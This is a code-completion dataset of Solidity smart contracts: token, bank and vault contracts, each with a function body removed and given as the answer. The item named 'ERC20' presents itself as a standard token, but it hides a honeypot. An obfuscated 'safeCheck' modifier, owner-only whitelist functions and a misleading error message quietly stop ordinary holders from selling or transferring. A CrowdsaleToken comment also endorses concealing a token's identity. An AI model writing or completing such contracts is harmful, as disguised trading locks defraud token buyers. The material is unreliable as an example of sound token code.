_amount; Approval(msg.sender, _spender, _amount); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance( address _owner, address _spender ) constant returns (uint remaining) { return allowed[_owner][_spender]; } // ------------------------------------------------------------------------ // After sealing, no more minting is possible // ------------------------------------------------------------------------ function seal() onlyOwner { require(!sealed); sealed = true; } // ------------------------------------------------------------------------ // Mint coins for a single account // ------------------------------------------------------------------------ function mint(address _to, uint _amount) onlyAdministrator { require(!sealed); require(_to != 0x0); require(_amount != 0); balances[_to] = balances[_to].add(_amount); totalSupply = totalSupply.add(_amount); Transfer(0x0, _to, _amount); } // ------------------------------------------------------------------------ // Mint coins for a multiple accounts // ------------------------------------------------------------------------ function multiMint(address[] _to, uint[] _amount) onlyAdministrator { require(!sealed); require(_to.length != 0); require(_to.length == _amount.length); for (uint i = 0; i < _to.length; i++) { require(_to[i] != 0x0); require(_amount[i] != 0); balances[_to[i]] = balances[_to[i]].add(_amount[i]); totalSupply = totalSupply.add(_amount[i]); Transfer(0x0, _to[i], _amount[i]); } } // ------------------------------------------------------------------------ // Don't accept ethers - no payable modifier // ------------------------------------------------------------------------ function () { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, amount); } }
if (balances[_from] >= _amount // From a/c has balance && allowed[_from][msg.sender] >= _amount // Transfer approved && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } else { return false; }
function transferFrom( address _from, address _to, uint _amount ) returns (bool success)
// ------------------------------------------------------------------------ // Spender of tokens transfer an amount of tokens from the token owner's // balance to another account. The owner of the tokens must already // have approve(...)-d this transfer // ------------------------------------------------------------------------ function transferFrom( address _from, address _to, uint _amount ) returns (bool success)
37563
SingleTokenBank
deposit
contract SingleTokenBank is Owned, Pausable, TimeRelease, Authorized, DSMath { struct Withdrawal { uint256 amount; uint256 timestamp; } ERC20 public token; uint256 public maxWithdrawal = 0; uint256 public maxDeposit = 0; uint256 public totalPlayerBalance; mapping(address => uint256) public balances; mapping(address => Withdrawal) public withdrawals; // informs listeners how many tokens were deposited for a player event Deposit(address _player, uint256 _amount); // informs listeners how many tokens were withdrawn from the player to the receiver address event WithdrawalEvent(address _player, uint256 _amount); // set withdrawal event WithdrawalSet(address _player, uint256 _amount); // balances changed event BalancesChanged(uint256 _totalPlayerBalance); // max withdrawal changed event MaxWithdrawalChange(uint256 _maxWithdrawal); // max withdrawal changed event MaxDepositChange(uint256 _maxDeposit); constructor(address _token, address _authorized, address _owner) public { token = ERC20(_token); owner = _owner; // multisig authorized[_authorized] = true; // your server address authorized[owner] = true; // also multisig } function deposit(uint256 _amount) external pausable {<FILL_FUNCTION_BODY> } // change one or many player balances function changeBalances(address[] calldata _player, uint256[] calldata _amount, uint256 _totalPlayerBalance) external pausable isAuthorized { for (uint256 i = 0; i < _player.length; i++) { balances[_player[i]] = _amount[i]; } totalPlayerBalance = _totalPlayerBalance; emit BalancesChanged(_totalPlayerBalance); } /** * returns the current bankroll in tokens with 0 decimals **/ function bankroll() view public returns(uint) { return sub(token.balanceOf(address(this)), totalPlayerBalance); } // set a withdrawal amount for a player function setUserWithdrawal(address _player, uint256 _amount) external pausable isAuthorized { require(_amount <= maxWithdrawal); // check max withdrawal require(add(withdrawals[_player].amount, _amount) <= maxWithdrawal); withdrawals[_player].amount = add(withdrawals[_player].amount, _amount); withdrawals[_player].timestamp = block.timestamp; emit WithdrawalSet(_player, _amount); } // set a withdrawal amount for a player function setOwnerWithdrawal(address _player, uint256 _totalPlayerBalance, uint256 _amount) external pausable isAuthorized { totalPlayerBalance = _totalPlayerBalance; withdrawals[_player].amount = add(withdrawals[_player].amount, _amount); withdrawals[_player].timestamp = block.timestamp; emit BalancesChanged(_amount); emit WithdrawalSet(_player, _amount); } function withdraw(uint256 _amount) external pausable { require(_amount <= withdrawals[msg.sender].amount); require(_amount <= maxWithdrawal); require(block.timestamp >= add(withdrawals[msg.sender].timestamp, releaseTime)); balances[msg.sender] = sub(balances[msg.sender], _amount); withdrawals[msg.sender].amount = sub(withdrawals[msg.sender].amount, _amount); require(token.transfer(msg.sender, _amount)); emit WithdrawalEvent(msg.sender, _amount); } function changeMaxDeposit(uint256 _max) external pausable isOwner { maxDeposit = _max; emit MaxDepositChange(_max); } function changeMaxWithdrawal(uint256 _max) external pausable isOwner { maxWithdrawal = _max; emit MaxWithdrawalChange(_max); } function ownerWithdrawalEther(address payable _destination, uint256 _amount) external isOwner { _destination.transfer(_amount); } function ownerWithdrawalTokens(address _destination, uint256 _amount) external isOwner { require(_amount <= withdrawals[msg.sender].amount); require((paused == false && _amount <= bankroll()) // only house winnings || paused == true); // or take entire balance if paused.. require(token.transfer(_destination, _amount)); withdrawals[msg.sender].amount = sub(withdrawals[msg.sender].amount, _amount); emit WithdrawalEvent(address(this), _amount); } }
contract SingleTokenBank is Owned, Pausable, TimeRelease, Authorized, DSMath { struct Withdrawal { uint256 amount; uint256 timestamp; } ERC20 public token; uint256 public maxWithdrawal = 0; uint256 public maxDeposit = 0; uint256 public totalPlayerBalance; mapping(address => uint256) public balances; mapping(address => Withdrawal) public withdrawals; // informs listeners how many tokens were deposited for a player event Deposit(address _player, uint256 _amount); // informs listeners how many tokens were withdrawn from the player to the receiver address event WithdrawalEvent(address _player, uint256 _amount); // set withdrawal event WithdrawalSet(address _player, uint256 _amount); // balances changed event BalancesChanged(uint256 _totalPlayerBalance); // max withdrawal changed event MaxWithdrawalChange(uint256 _maxWithdrawal); // max withdrawal changed event MaxDepositChange(uint256 _maxDeposit); constructor(address _token, address _authorized, address _owner) public { token = ERC20(_token); owner = _owner; // multisig authorized[_authorized] = true; // your server address authorized[owner] = true; // also multisig } <FILL_FUNCTION> // change one or many player balances function changeBalances(address[] calldata _player, uint256[] calldata _amount, uint256 _totalPlayerBalance) external pausable isAuthorized { for (uint256 i = 0; i < _player.length; i++) { balances[_player[i]] = _amount[i]; } totalPlayerBalance = _totalPlayerBalance; emit BalancesChanged(_totalPlayerBalance); } /** * returns the current bankroll in tokens with 0 decimals **/ function bankroll() view public returns(uint) { return sub(token.balanceOf(address(this)), totalPlayerBalance); } // set a withdrawal amount for a player function setUserWithdrawal(address _player, uint256 _amount) external pausable isAuthorized { require(_amount <= maxWithdrawal); // check max withdrawal require(add(withdrawals[_player].amount, _amount) <= maxWithdrawal); withdrawals[_player].amount = add(withdrawals[_player].amount, _amount); withdrawals[_player].timestamp = block.timestamp; emit WithdrawalSet(_player, _amount); } // set a withdrawal amount for a player function setOwnerWithdrawal(address _player, uint256 _totalPlayerBalance, uint256 _amount) external pausable isAuthorized { totalPlayerBalance = _totalPlayerBalance; withdrawals[_player].amount = add(withdrawals[_player].amount, _amount); withdrawals[_player].timestamp = block.timestamp; emit BalancesChanged(_amount); emit WithdrawalSet(_player, _amount); } function withdraw(uint256 _amount) external pausable { require(_amount <= withdrawals[msg.sender].amount); require(_amount <= maxWithdrawal); require(block.timestamp >= add(withdrawals[msg.sender].timestamp, releaseTime)); balances[msg.sender] = sub(balances[msg.sender], _amount); withdrawals[msg.sender].amount = sub(withdrawals[msg.sender].amount, _amount); require(token.transfer(msg.sender, _amount)); emit WithdrawalEvent(msg.sender, _amount); } function changeMaxDeposit(uint256 _max) external pausable isOwner { maxDeposit = _max; emit MaxDepositChange(_max); } function changeMaxWithdrawal(uint256 _max) external pausable isOwner { maxWithdrawal = _max; emit MaxWithdrawalChange(_max); } function ownerWithdrawalEther(address payable _destination, uint256 _amount) external isOwner { _destination.transfer(_amount); } function ownerWithdrawalTokens(address _destination, uint256 _amount) external isOwner { require(_amount <= withdrawals[msg.sender].amount); require((paused == false && _amount <= bankroll()) // only house winnings || paused == true); // or take entire balance if paused.. require(token.transfer(_destination, _amount)); withdrawals[msg.sender].amount = sub(withdrawals[msg.sender].amount, _amount); emit WithdrawalEvent(address(this), _amount); } }
uint256 allowance = token.allowance(msg.sender, address(this)); require(_amount > 0); require(_amount <= allowance); require(_amount <= maxDeposit); require(token.transferFrom(msg.sender, address(this), _amount)); balances[msg.sender] = add(balances[msg.sender], _amount); emit Deposit(msg.sender, allowance);
function deposit(uint256 _amount) external pausable
function deposit(uint256 _amount) external pausable
93701
KEYSTONECOIN
approve
contract KEYSTONECOIN is ERC20Interface, Owned, SafeMath, Lockable { //string public constant name = "KEYSTONECOIN"; //string public constant symbol = "KSC"; string public constant name = "KEYSTONECOIN"; string public constant symbol = "KSC"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 20000000000000000000000000000; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event TokenBurned(address burnAddress, uint amountOfTokens); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { _totalSupply = INITIAL_SUPPLY; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public checkLock returns (bool success) { require( balances[msg.sender] >= tokens ); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public checkLock returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public checkLock returns (bool success) { require( balances[from] >= tokens ); require( allowed[from][msg.sender] >= tokens ); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // burnToken burn tokensAmount for sender balance function burnTokens(uint tokensAmount) external isOwner { require( balances[msg.sender] >= tokensAmount ); balances[msg.sender] = safeSub(balances[msg.sender], tokensAmount); _totalSupply = safeSub(_totalSupply, tokensAmount); emit TokenBurned(msg.sender, tokensAmount); } }
contract KEYSTONECOIN is ERC20Interface, Owned, SafeMath, Lockable { //string public constant name = "KEYSTONECOIN"; //string public constant symbol = "KSC"; string public constant name = "KEYSTONECOIN"; string public constant symbol = "KSC"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 20000000000000000000000000000; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event TokenBurned(address burnAddress, uint amountOfTokens); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { _totalSupply = INITIAL_SUPPLY; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public checkLock returns (bool success) { require( balances[msg.sender] >= tokens ); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public checkLock returns (bool success) { require( balances[from] >= tokens ); require( allowed[from][msg.sender] >= tokens ); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // burnToken burn tokensAmount for sender balance function burnTokens(uint tokensAmount) external isOwner { require( balances[msg.sender] >= tokensAmount ); balances[msg.sender] = safeSub(balances[msg.sender], tokensAmount); _totalSupply = safeSub(_totalSupply, tokensAmount); emit TokenBurned(msg.sender, tokensAmount); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true;
function approve(address spender, uint tokens) public checkLock returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public checkLock returns (bool success)
1875
CrowdsaleToken
CrowdsaleToken
contract CrowdsaleToken is ReleasableToken, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); string public name; string public symbol; uint8 public decimals; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places */ function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals) UpgradeableToken(msg.sender) public {<FILL_FUNCTION_BODY> } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } }
contract CrowdsaleToken is ReleasableToken, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); string public name; string public symbol; uint8 public decimals; <FILL_FUNCTION> /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } }
// Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply_ = _initialSupply; decimals = _decimals; // Create initially all balance on the team multisig balances[owner] = totalSupply_;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals) UpgradeableToken(msg.sender) public
/** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places */ function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals) UpgradeableToken(msg.sender) public
71202
ERC20
_transfer
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{<FILL_FUNCTION_BODY> } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_BTCST(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } <FILL_FUNCTION> function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_BTCST(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual
7526
iCollateralVaultProxy
getAaveOracle
contract iCollateralVaultProxy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; mapping (address => address[]) private _ownedVaults; mapping (address => address) private _vaults; // Spending limits per user measured in dollars 1e8 mapping (address => mapping (address => uint256)) private _limits; address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant link = address(0xF79D6aFBb6dA890132F9D7c355e3015f15F3406F); constructor() public { deployVault(); } function limit(address vault, address spender) public view returns (uint256) { return _limits[vault][spender]; } function increaseLimit(address vault, address spender, uint256 addedValue) public { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); _approve(vault, spender, _limits[vault][spender].add(addedValue)); } function decreaseLimit(address vault, address spender, uint256 subtractedValue) public { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); _approve(vault, spender, _limits[vault][spender].sub(subtractedValue, "decreased limit below zero")); } function _approve(address vault, address spender, uint256 amount) internal { require(spender != address(0), "approve to the zero address"); _limits[vault][spender] = amount; } function isVaultOwner(address vault, address owner) public view returns (bool) { return _vaults[vault] == owner; } function isVault(address vault) public view returns (bool) { return _vaults[vault] != address(0); } // LP deposit, anyone can deposit/topup function deposit(iCollateralVault vault, address reserve, uint256 amount) external { IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount); IERC20(reserve).safeTransfer(address(vault), amount); vault.activate(reserve); } // No logic, handled underneath by Aave function withdraw(iCollateralVault vault, address reserve, uint256 amount) external { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); vault.withdraw(reserve, amount, msg.sender); } // amount needs to be normalized function borrow(iCollateralVault vault, address reserve, uint256 amount) external { uint256 _borrow = getReservePriceUSD(reserve).mul(amount); _approve(address(vault), msg.sender, _limits[address(vault)][msg.sender].sub(_borrow, "borrow amount exceeds allowance")); vault.borrow(reserve, amount, msg.sender); } function repay(iCollateralVault vault, address reserve, uint256 amount) public { IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount); IERC20(reserve).safeTransfer(address(vault), amount); vault.repay(reserve, amount); } function getVaults(address owner) external view returns (address[] memory) { return _ownedVaults[owner]; } function deployVault() public returns (address) { address vault = address(new iCollateralVault()); // Mark address as vault _vaults[vault] = msg.sender; // Set vault owner address[] storage owned = _ownedVaults[msg.sender]; owned.push(vault); _ownedVaults[msg.sender] = owned; return vault; } function getAave() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPool(); } function getAaveCore() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPoolCore(); } function getAaveOracle() public view returns (address) {<FILL_FUNCTION_BODY> } function getReservePriceETH(address reserve) public view returns (uint256) { return Oracle(getAaveOracle()).getAssetPrice(reserve); } function getReservePriceUSD(address reserve) public view returns (uint256) { return getReservePriceETH(reserve).mul(Oracle(link).latestAnswer()); } }
